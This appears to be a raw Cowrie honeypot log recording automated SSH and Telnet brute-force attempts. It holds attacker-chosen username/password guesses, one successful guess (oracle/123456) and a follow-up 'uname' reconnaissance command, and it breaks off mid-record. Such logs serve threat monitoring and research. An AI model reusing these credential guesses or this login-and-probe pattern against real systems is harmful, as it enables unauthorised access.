{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:07.125018Z","src_ip":"192.109.200.237","session":"f686dc84637e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:07.208703Z","src_ip":"192.109.200.237","session":"f686dc84637e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:07.460789Z","src_ip":"192.109.200.237","session":"f686dc84637e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54312,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2770055d204","protocol":"telnet","message":"New connection: 50.6.8.71:54312 (10.17.0.5:23) [session: c2770055d204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:08.237720Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:08.559309Z","src_ip":"192.109.200.237","session":"f686dc84637e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54324,"dst_ip":"10.17.0.5","dst_port":23,"session":"335a7152f573","protocol":"telnet","message":"New connection: 50.6.8.71:54324 (10.17.0.5:23) [session: 335a7152f573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:09.611009Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52452,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4325c565f31","protocol":"ssh","message":"New connection: 192.109.200.237:52452 (159.203.135.109:22) [session: c4325c565f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:10.512983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:10.608608Z","src_ip":"192.109.200.237","session":"c4325c565f31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:10.612759Z","src_ip":"192.109.200.237","session":"c4325c565f31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:10.969352Z","src_ip":"192.109.200.237","session":"c4325c565f31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:12.056065Z","src_ip":"192.109.200.237","session":"c4325c565f31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54336,"dst_ip":"10.17.0.5","dst_port":23,"session":"404320661694","protocol":"telnet","message":"New connection: 50.6.8.71:54336 (10.17.0.5:23) [session: 404320661694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:12.105899Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52460,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e50bbeac507","protocol":"ssh","message":"New connection: 192.109.200.237:52460 (159.203.135.109:22) [session: 8e50bbeac507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:14.209413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:14.213734Z","src_ip":"192.109.200.237","session":"8e50bbeac507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:14.295871Z","src_ip":"192.109.200.237","session":"8e50bbeac507","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:14.542335Z","src_ip":"192.109.200.237","session":"8e50bbeac507","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:14.755039Z","src_ip":"192.109.200.237","session":"8e50bbeac507","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:14.758402Z","src_ip":"192.109.200.237","session":"8e50bbeac507","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:14.843912Z","src_ip":"192.109.200.237","session":"8e50bbeac507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:14.849505Z","src_ip":"192.109.200.237","session":"8e50bbeac507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52472,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbd72935ff0d","protocol":"ssh","message":"New connection: 192.109.200.237:52472 (159.203.135.109:22) [session: cbd72935ff0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:17.620380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:17.625435Z","src_ip":"192.109.200.237","session":"cbd72935ff0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:17.707592Z","src_ip":"192.109.200.237","session":"cbd72935ff0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48530,"dst_ip":"159.203.135.109","dst_port":22,"session":"b77c5491383f","protocol":"ssh","message":"New connection: 80.94.92.184:48530 (159.203.135.109:22) [session: b77c5491383f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:17.857193Z"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:17.953599Z","src_ip":"192.109.200.237","session":"cbd72935ff0d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:18.053488Z","src_ip":"80.94.92.184","session":"b77c5491383f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:18.057265Z","src_ip":"80.94.92.184","session":"b77c5491383f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57872,"dst_ip":"10.17.0.5","dst_port":23,"session":"edec7868c653","protocol":"telnet","message":"New connection: 50.6.8.71:57872 (10.17.0.5:23) [session: edec7868c653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:18.248701Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:19.040853Z","src_ip":"192.109.200.237","session":"cbd72935ff0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:19.859025Z","src_ip":"80.94.92.184","session":"b77c5491383f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54056,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2e4fe716194","protocol":"ssh","message":"New connection: 192.109.200.237:54056 (159.203.135.109:22) [session: d2e4fe716194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:21.062550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:21.184515Z","src_ip":"192.109.200.237","session":"d2e4fe716194","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:21.188987Z","src_ip":"192.109.200.237","session":"d2e4fe716194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:21.262311Z","src_ip":"80.94.92.184","session":"b77c5491383f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:21.520430Z","src_ip":"192.109.200.237","session":"d2e4fe716194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:22.606571Z","src_ip":"192.109.200.237","session":"d2e4fe716194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54070,"dst_ip":"159.203.135.109","dst_port":22,"session":"a144d3f84b56","protocol":"ssh","message":"New connection: 192.109.200.237:54070 (159.203.135.109:22) [session: a144d3f84b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:24.684658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:24.689697Z","src_ip":"192.109.200.237","session":"a144d3f84b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:24.773424Z","src_ip":"192.109.200.237","session":"a144d3f84b56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:25.024898Z","src_ip":"192.109.200.237","session":"a144d3f84b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:26.113027Z","src_ip":"192.109.200.237","session":"a144d3f84b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.969839811325073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:26.824607Z","src_ip":"50.6.8.71","session":"9ae1ab09f4b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54088,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9771fb8d739","protocol":"ssh","message":"New connection: 192.109.200.237:54088 (159.203.135.109:22) [session: c9771fb8d739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:28.275571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:28.280601Z","src_ip":"192.109.200.237","session":"c9771fb8d739","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 